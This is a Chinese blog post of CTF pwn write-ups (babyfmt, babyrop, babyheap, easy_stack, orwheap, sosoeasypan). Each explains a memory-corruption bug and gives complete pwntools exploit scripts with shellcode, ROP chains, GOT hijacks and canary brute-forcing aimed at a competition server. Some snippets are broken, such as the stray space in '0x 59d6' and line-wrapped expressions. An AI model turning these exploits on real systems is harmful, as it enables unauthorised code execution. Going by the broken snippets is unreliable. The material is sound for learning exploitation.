登录后台

页面导航

本文编写于 381 天前,最后修改于 126 天前,其中某些信息可能已经过时。

babyfmt

程序分析

存在格式化字符串漏洞

int sub_80486CD()
{
  char buf; // [esp+0h] [ebp-58h]

  printf("Please input your message:");
  read(0, &buf, 0x50u);
  return printf(&buf);
}

原本打算利用泄露libc地址+rop,但是写入的字符串长度有限

这道题也学到了新知识

具体参考这篇文章:Linux pwn入门教程(6)——格式化字符串漏洞

漏洞利用

写入shellcode

exp1:
来源 ctf writeup

原理:先确定buf的偏移,并ebp leak,这样就可以推算出ret和buf的地址,然后通过%{}$hn写入ret为buf的下半部分,然后下半部分恰好放置shellcode,这样就可以执行shellcode拿到shell

#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "i386"
elf = ELF("babyfmt")
sh = 0
lib = 0
def pwn(ip,port,debug):
    global sh
    global lib
    if(debug == 1):
        sh = process("./babyfmt")
    else:
        sh = remote(ip,port)
    sh.recvuntil("Please input your message:")
    payload = "%22$p"
    sh.send(payload)
    ebp = int(sh.recv(10),16)
    ret = ebp - (0xffb66408 - 0xffb663ec)
    buf_addr = ebp - (0xffb66408 - 0xffb66390)
    payload = p32(ret) + p32(ret + 2) + "%." + str(buf_addr % 0x10000 + 0x28 - 7) + "d%4$hn"
    payload += "%." + str((buf_addr >> 16) - (buf_addr % 0x10000) - 0x28 - 2) + "d%5$hn"
    payload = payload.ljust(0x28,'\x00')
    payload += "\x31\xc0\x31\xd2\x31\xdb\x31\xc9\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80"
    log.success("ret: " + hex(ret))
    log.success("ebp: " + hex(ebp))
    log.success("buf_addr: " + hex(buf_addr))
    sh.sendline(payload)
    sh.interactive()
if __name__ == "__main__":
    pwn("127.0.0.1",10000,1)

exp2:

原理:先输入一个%p泄露出数组的首地址,再retn处下个断点,用返回地址减去数组的首地址,计算出他们之间的相对偏移。因为栈的地址每次都是变化的,所以我们每次都要泄露栈的地址,然后计算出返回地址。
重要的步骤就是利用fmtstr_payload0往bss段写shellcode,然后将返回地址改为bss段的shellcode的处。

#-*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
#p = remote('39.107.93.53','10000')
p = process('./babyfmt')
elf = ELF('babyfmt')
libc = elf.libc
shellcode = [0x6850c031,0x68732f6e,0x622f2f68,0x50e38969,0x8953e289,0xcd0bb0e1,0x80]
p.recvuntil('message:')
p.sendline('%p')
stack = int(p.recv(10),16)
ret_addr = stack + 0x5c
log.success('ret_addr: '+hex(ret_addr))
bss_addr = 0x8049B80
for i in range(len(shellcode)):
    payload = fmtstr_payload(4,{(0x8049B80+i*4):shellcode[i]})
    p.recvuntil('message:')
    p.send(payload)
payload1 = fmtstr_payload(4,{ret_addr:bss_addr})
p.recvuntil('message:')
p.send(payload1)
p.interactive()

got表劫持

这里有个while循环,我们直接泄露一个已经执行的got表,利用LibcSearcher找到对应的libc版本,算出基址,紧接着算出system的真实地址,利用fmtstr_payload 修改一个已经执行的函数的got表为system,并且输入‘/bin/sh

#-*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = remote('39.107.93.53','10000')
#p = process('./babyfmt')
elf = ELF('babyfmt')
libc = elf.libc
offset = 4
p.recvuntil('message:')
p.sendline(p32(elf.got['puts'])+'%4$s')
put_addr = u32(p.recvuntil('\xf7')[-4:])
log.success('put_addr: '+hex(put_addr))
libc_base = put_addr - libc.symbols['puts']
log.success('libc_base: '+hex(libc_base))
sys_addr = libc.symbols['system'] + libc_base
payload = fmtstr_payload(offset,{elf.got['printf']:sys_addr})
p.sendline(payload)
p.sendline('/bin/sh\x00')
p.interactive()

babyrop

程序分析

简单的rop

unsigned int sub_804853D()
{
  unsigned int result; // eax
  char buf; // [esp+8h] [ebp-10h]
  unsigned int retaddr; // [esp+1Ch] [ebp+4h]

  puts("What is your name?");
  read(0, &buf, 0x30u);
  result = retaddr;
  if ( retaddr > 134545408 )
  {
    puts("What!?");
    exit(0);
  }
  return result;
}

需要注意程序对ret有个检查机制

漏洞利用

首先覆盖变量,然后开启后门,然后通过后门函数来libcleak,然后再次回到后门函数,再次跳转到libc空间执行system("/bin/shx00"),需要注意的是,对ret地址进行了check,所以先跳到ret上,然后通过check再到libc空间。

#-*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = remote('39.107.93.53','10002')
#p = process('./babyrop')
elf = ELF('babyrop')
libc = elf.libc
p.sendline('a'*0x20+'ffff')
p.recvuntil('name?\n')
p.sendline('a'*20+p32(elf.plt['puts']) + p32(0x0804865b) + p32(elf.got['puts']) + p32(0x0804853D))
libc_base = u32(p.recv(4)) - libc.symbols['puts']
log.success('libc_base: '+hex(libc_base))
p.sendline('a'*20+p32(0x0804839e)+p32(libc_base+libc.symbols['system'])+p32(0x0804865b)+p32(libc.search('/bin/sh\x00').next()+libc_base))
p.interactive()

babyheap

程序分析

int add()
{
  signed int i; // [rsp+Ch] [rbp-4h]

  for ( i = 0; i <= 2 && ptr[i]; ++i )
    ;
  if ( i == 3 )
    return puts("Full!");
  printf("Plz input content: ");
  ptr[i] = malloc(0x20uLL);
  read(0, ptr[i], 0x10uLL);
  *(ptr[i] + 3) = &puts;
  return puts("Done!");
}

在add的时候程序将puts函数写到了堆里面,只需要想办法改写puts函数的地址为system函数的地址就行

而edit函数刚好存在溢出,对输入的字符串大小没做限制

漏洞利用

1.泄露libc的基址
2.改写puts函数地址为system函数地址

# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = remote('39.107.93.53','10001')
#p = process('./babyheap')
elf = ELF('babyheap')
libc = elf.libc
def add(content):
    p.sendlineafter('Your choice: ',str(1))
    p.sendlineafter('content: ',str(content))
def edit(idx,size,content):
    p.sendlineafter('Your choice: ',str(2))
    p.sendlineafter('index: ',str(idx))
    p.sendlineafter('size: ',str(size))
    p.sendlineafter('content: ',str(content))
def show(idx):
    p.sendlineafter('Your choice: ',str(3))
    p.sendlineafter('index: ',str(idx))
def delete(idx):
    p.sendlineafter('Your choice: ',str(4))
    p.sendlineafter('index: ',str(idx))
add('a')
edit(0,0x18,'a'*0x18)
show(0)
libc_base = u64(p.recv(30)[24:30].ljust(8,'\x00')) - libc.symbols['_IO_puts']
sys_addr = libc.symbols['system'] + libc_base
log.success('libc_base: '+hex(libc_base))
log.success('sys_addr: '+hex(sys_addr))
edit(0,0x20,'/bin/sh'+'\x00'*0x11+p64(sys_addr))
show(0)
p.interactive()

driver

easy_stack

参考链接:Gstalker师傅

程序分析

  while ( 1 )
  {
    v1 = v3--;
    if ( v1 == 0 )
      break;
    sub_80488E7();
  }

只能进行四次计算

  for ( j = 0; j < v9; ++j )
  {
    for ( k = j + 1; k < v9; ++k )
    {
      if ( v10[j] > (unsigned int)v10[k] )
        ++v4;
    }
  }
}

这道题关键点在于泄露canary,for这里发现溢出的是int数组,然后能够暴露canary的地方就是后面for循环的比较,如果说设计一个300单位的int数组,那么比较的就是canary了

漏洞利用

步骤:

1.爆破canary,canary以'x00'结尾,每次爆破一字节

2.泄露libc的基址

exp:

# -*- coding: utf-8 -*-
from pwn import *
#from LibcSearcher import LibcSearcher
context.log_level = 'DEBUG'
p=process('./easystack')
#p=remote('39.107.93.53','10004')
elf=ELF('./easystack')
#put_got=elf.got['put']
got_main=elf.got['__libc_start_main']

canary=[0,0,0,0]#注意,这个数组是按照大端序放的

#循环1:爆出canary最高字节
p.recvuntil('How much do you want to calc: ')
p.sendline('301')

for i in range(44):
    temp=str(0x1)
    p.recvuntil('num?(Input 0 to stop): ')
    p.sendline(temp)

for n in range(1,256):
    temp=str(n<<24)
    p.recvuntil('num?(Input 0 to stop): ')
    p.sendline(temp)

p.recvuntil('num?(Input 0 to stop): ')
p.sendline('0')
p.recvuntil('answer is ')
temp=p.recvline()
canary[0]=255+299-int(temp)
p.recvuntil('Do you want to exit?(y or n)')
p.sendline('n')


#循环2:爆出canary次高字节
p.recvuntil('How much do you want to calc: ')
p.sendline('301')

for i in range(44):
    temp=str(0x1)
    p.recvuntil('num?(Input 0 to stop): ')
    p.sendline(temp)

for n in range(1,256):
    temp=str((canary[0]<<24)+(n<<16))
    p.recvuntil('num?(Input 0 to stop): ')
    p.sendline(temp)


p.recvuntil('num?(Input 0 to stop): ')
p.sendline('0')
p.recvuntil('answer is ')
temp=p.recvline()
canary[1]=255+299-int(temp)
p.recvuntil('Do you want to exit?(y or n)')
p.sendline('n')

#循环3:爆出canary次低字节
p.recvuntil('How much do you want to calc: ')
p.sendline('301')

for i in range(44):
    temp=str(0x1)
    p.recvuntil('num?(Input 0 to stop): ')
    p.sendline(temp)

for n in range(1,256):
    temp=str((canary[0]<<24)+(canary[1]<<16)+(n<<8))
    p.recvuntil('num?(Input 0 to stop): ')
    p.sendline(temp)


p.recvuntil('num?(Input 0 to stop): ')
p.sendline('0')
p.recvuntil('answer is ')
temp=p.recvline()
canary[2]=255+299-int(temp)
p.recvuntil('Do you want to exit?(y or n)')
p.sendline('n')
canary_full=(canary[0]<<24)+(canary[1]<<16)+(canary[2]<<8)


#第一次溢出:暴露libc
func=0x80488E7
ofstream=0x8048750
cout=0x0804a0c0
off_system=0x3a940
off_libc_start_main=0x18540
off_binsh=0x15902b


p.recvuntil('How much do you want to calc: ')
p.sendline('999')
for i in range(300):
    temp=str(0x1)
    p.recvuntil('num?(Input 0 to stop): ')
    p.sendline(temp)
#send canary
p.recvuntil('num?(Input 0 to stop): ')
p.sendline(str(canary_full))
#填充空隙
p.recvuntil('num?(Input 0 to stop): ')
p.sendline('1')
p.recvuntil('num?(Input 0 to stop): ')
p.sendline('1')
p.recvuntil('num?(Input 0 to stop): ')
p.sendline('1')
#send 返回地址,返回ofstream
p.recvuntil('num?(Input 0 to stop): ')
p.sendline(str(ofstream))
#send 返回地址,返回溢出函数
p.recvuntil('num?(Input 0 to stop): ')
p.sendline(str(func))
#send cout模式
p.recvuntil('num?(Input 0 to stop): ')
p.sendline(str(cout))
#send libcmain
p.recvuntil('num?(Input 0 to stop): ')
p.sendline(str(got_main))
p.recvuntil('num?(Input 0 to stop): ')
p.sendline('0')
p.recvuntil('Do you want to exit?(y or n)')
p.sendline('n')
p.recv(1)
temp=p.recv(4)
libc_base=u32(temp)-off_libc_start_main


#第二次溢出,getshell!
addr_system=libc_base+off_system
addr_binsh=libc_base+off_binsh
p.recvuntil('How much do you want to calc: ')
p.sendline('999')
for i in range(300):
    temp=str(0x1)
    p.recvuntil('num?(Input 0 to stop): ')
    p.sendline(temp)
#send canary
p.recvuntil('num?(Input 0 to stop): ')
p.sendline(str(canary_full))
#填充空隙
p.recvuntil('num?(Input 0 to stop): ')
p.sendline('1')
p.recvuntil('num?(Input 0 to stop): ')
p.sendline('1')
p.recvuntil('num?(Input 0 to stop): ')
p.sendline('1')
#send 返回地址,返回system
p.recvuntil('num?(Input 0 to stop): ')
p.sendline(str(addr_system))
#send 返回地址,badbeef
p.recvuntil('num?(Input 0 to stop): ')
p.sendline(str(0xbadbeef))
#send binsh的地址
p.recvuntil('num?(Input 0 to stop): ')
p.sendline(str(addr_binsh))
p.recvuntil('num?(Input 0 to stop): ')
p.sendline('0')
print hex(libc_base)
print hex(addr_system)
print hex(addr_binsh)
p.interactive()

orwheap

程序分析

1.AddNote
2.DelNote
3.EditNote

三个功能,没有show函数

int sub_C48()
{
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  printf("Please input idx: ");
  v1 = sub_B42();
  if ( v1 > 5 || !addr_list[v1] )
    return puts("Do you want to steal flag?");
  free(addr_list[v1]);
  addr_list[v1] = 0LL;
  size_list[v1] = 0LL;
  return puts("Done!");
}

delete函数没有free掉size_list的内容

int sub_B93()
{
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  printf("Please input idx: ");
  v1 = sub_B42();
  if ( v1 > 5 || !addr_list[v1] )
    return puts("Do you want to steal flag?");
  printf("Please input content: ");
  read(0, addr_list[v1], size_list[v1]);
  return puts("Done!");
}

edit函数没有检查新size的的大小,如果比原size大,会造成溢出

漏洞利用

原理:通过libc控制泄露pie,然后将__free_hook覆盖为printf,从而泄露stack地址,通过修改chunk_list为栈地址绕过canary

过程:

1.看到prctl,所以不能直接拿shell,需要执行orw_shellcode,或者orw_ropchainedit 功能


多线程编程——prctl()函数介绍

  • 函数原型
#include <sys/prctl.h>
int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);
  • 功能

prctl(PR_SET_NAME, “process_name”)

第一个参数是操作类型,指定PR_SET_NAME,即设置进程名

第二个参数是进程名字符串,长度至多16字

关键:prctl是一个设置进程的函数,第一个设置了PR_SET_NO_NEW_PRIVS,在64位中被截断,不能正确传参,如果不经过execve的话,不允许设置useriID等,相当于不能直接提权

prctl采用一个附加的参数,它使用BPF程序(就是一个程序,用于过滤可用的系统调用)指定一个新的过滤器。
BPF程序的执行将利用到结构体seccomp_data,反映系统调用号,参数和其他元数据。然后,BPF程序必须返回一个可接受的值,以通知内核应该采取哪个动作。

参考链接:

http://showlinkroom.me/2017/01/24/pwnable-tw2/

H4lo师傅的文章:一道 CTF 题目学习 prctl 函数的沙箱过滤规则

先放个exp,暂时没搞懂

#!/usr/bin/python2.7   
# -*- coding: utf-8 -*- 
from pwn import * 
context.log_level = "debug" 
context.arch = "amd64" 
elf = ELF("pwn") 
sh = 0 
lib = 0 
getFlag = 0 
def add(size,content): 
    sh.sendlineafter("Your Choice: ","1") 
    sh.sendlineafter("size: ",str(size)) 
    sh.sendlineafter("content: ",content) 
def free(idx): 
    sh.sendlineafter("Your Choice: ","2") 
    sh.sendlineafter(":",str(idx)) 
def edit(idx,content): 
    sh.sendlineafter("Your Choice: ","3") 
    sh.sendlineafter("Please input idx: ",str(idx)) 
    sh.sendafter("Please input content: ",content) 
def pwn(ip,port,debug): 
    global sh 
    global lib 
    global getFlag 
    if(debug == 1): 
        sh = process("./pwn") 
        lib = ELF("/lib/x86_64-linux-gnu/libc.so.6") 
    else: 
        sh = remote(ip,port) 
        lib = ELF("x64_libc.so.6") 
        global_max_fast = (lib.symbols['__free_hook'] % 0x10000) + (0x7ffff7dd37f8 - 
    0x7ffff7dd37a8) 
        stderr_attack = (lib.symbols['_IO_2_1_stdout_'] % 0x10000) - (0x2620 - 0x25cf) 
        pie_offset = lib.symbols['environ'] 
    if(debug == 1): 
            global_max_fast = 0x37f8 
            stderr_attack = 0x25cf 
    #init chunk 
    add(0xf8,"\x11" * 0xf7)#0 
    add(0xe8,"\x11" * 0xe7)#1 
    add(0x68,"\x11" * 0x67)#2 
    add(0xf8,"\x11" * 0xf7)#3 
    payload = '%10$p' 
    add(0x68,payload)#4 
    #unlink 
    free(2) 
    free(0) 
    payload = '\x12' * 0x60 + p64(0x260) 
    add(0x68,payload) 
    free(3) 
    payload = '\x13' * 0xf0 + p64(0) + p64(0xf1) 
    payload += '\x14' * 0xe0 + p64(0) + p64(0x71) 
    payload += '\x15' * 0x60 + p64(0) + p64(0xf1) 
    payload += '\x16' * 0xe0 + p64(0) 
    add(0x360 - 0x8,payload) 
    #global_max_fast attack 
    free(1) 
    payload = '\x17' * 0xf0 + p64(0) + p64(0xf1) 
    payload += p64(0) + p16(global_max_fast- 0x10) 
    edit(2,payload) 
    #gdb.attach(sh) 
    add(0xe8,'\x18' * 0xe7) 
    #IO_FILE 
    #libc leak 
    free(1) 
    payload = '\x17' * 0xf0 + p64(0) + p64(0xf1) + p16(stderr_attack) 
    edit(2,payload) 
    add(0xe8,"\x1a" * 0xe7) 
    payload = '\x00' + p64(0) * 8 
    payload += p64(0xfbad1800) + p64(0) * 3 
    add(0xe8,payload) 
    payload = p64(0xfbad1800) + p64(0) * 3 
    sh.recvuntil(payload) 
    stdout = u64(sh.recv(8)) + 0x20 
    libc = stdout - lib.symbols['_IO_2_1_stdout_'] 
    __malloc_hook = libc + lib.symbols['__malloc_hook'] 
    __free_hook = libc + lib.symbols['__free_hook'] 
    #IO_FILE 
    #pie leak 
    payload = '\x00' + p64(0) * 8 
    payload += p64(0xfbad1800) + p64(0) * 3 + p64(libc + pie_offset) + p64(libc + 
    pie_offset + 8) + p32((libc + pie_offset + 8) % 0x100000000) + p16((libc + pie_offset + 
    8) >> 32) 
    edit(3,payload) 
    environ = u64(sh.recv(8)) 
    text_addr = environ - 0x30 
    payload = '\x00' + p64(0) * 8 
    payload += p64(0xfbad1800) + p64(0) * 3 + p64(text_addr) + p64(text_addr + 8) +p32((text_addr + 8) % 0x100000000) + p16((text_addr + 8) >> 32) 
    edit(3,payload) 
    pie = u64(sh.recv(8)) & 0xfffffffffffff000 
    #control chunk_list 
    free(0) 
    payload = '\x13' * 0xf0 + p64(0) + p64(0xf1) 
    payload += '\x14' * 0xe0 + p64(0) + p64(0x71) 
    payload += p64(pie + elf.symbols['stderr'] -3) 
    edit(2,payload) 
    add(0x68,"\x15" * 0x67) 
    payload = '\x00' * 3 + p64(0) * 2 
    payload += p64(pie + elf.symbols['stderr'] + 0x20) + p64(__free_hook) 
    add(0x68,payload) 
    #leak stack 
    payload = p64(libc + lib.symbols['printf']) 
    edit(1,payload) 
    free(4) 
    sh.recvuntil("0x") 
    ebp = int(sh.recvuntil("Done!",True),16) 
    ret_addr = ebp + (0xe468 - 0xe540) 
    #ROPchain 
    payload = p64(pie + elf.symbols['stderr'] + 0x20) + p64(ret_addr) 
    edit(0,payload) 
    payload = p64(lib.search(asm("pop rdx\nret\n")).next() + libc) 
    payload += p64(0x7) 
    payload += p64(lib.search(asm("pop rdi\nret\n")).next() + libc) 
    payload += p64((pie + elf.bss()) & 0xfffffffffffff000) 
    payload += p64(lib.search(asm("pop rsi\nret\n")).next() + libc) 
    payload += p64(0x2000) 
    payload += p64(libc + lib.symbols['mprotect']) 
    payload += p64(lib.search(asm("pop rdi\nret\n")).next() + libc) 
    payload += p64(((pie + elf.bss()) & 0xfffffffffffff000) + 0x800) 
    payload += p64(libc + lib.symbols['gets']) 
    payload += p64(((pie + elf.bss()) & 0xfffffffffffff000) + 0x800) 
    edit(1,payload) 
    sh.sendlineafter("Your Choice:","4") 
    getFlag = 1 
    #orw_shellcode 
    payload = shellcraft.amd64.open("./flag") 
    payload += shellcraft.amd64.read(3,pie + elf.bss(),0x30) 
    payload += shellcraft.amd64.write(1,pie + elf.bss(),0x30) 
    sh.sendline(asm(payload)) 
    log.success("ret_addr: " + hex(ret_addr)) 
    log.success("ebp: " + hex(ebp)) 
    log.success("pie: " + hex(pie)) 
    log.success("environ: " + hex(environ)) 
    sh.interactive() 
if __name__ == "__main__": 
    global sh 
    while(True): 
        try: 
            if(getFlag == 0): 
                pwn("39.107.93.53",10005,0) 
            else: 
                sh.close() 
            break; 
        except EOFError: 
            sh.close() 
        if(getFlag != 0): 
            break 
        continue

sosoeasypan

exp:

from pwn import * 
import binascii 
context.log_level = 'debug' 
elf = ELF('./x86_libc.so.6') 
offset = 12 
i = 0 
while True:     
    i += 1         
    print i         
    sh = process('./pwn')     
    #sh = remote('101.71.29.5',10000)         
    sh.recvuntil('the ')     
    #sh.recvuntil('\x32')     
    base = int(sh.recv(5)) << 16    
    print hex(base)     
    sh.recvuntil('name?\n')         
    payload = 'a'*offset     
    #addr = base + random.sample(list1,1)[0]         
    payload += p32(base+0x 59d6)     
    sh.send(payload)     
    sh.recvuntil('(1.hello|2.byebye):\n')     
    sh.send('0')     
    try:                 
        sh.recv(timeout = 1)              
    except Exception as e:         
        sh.close()         
        continue     
    else:         
        sleep(0.1)         
        sh.interactive()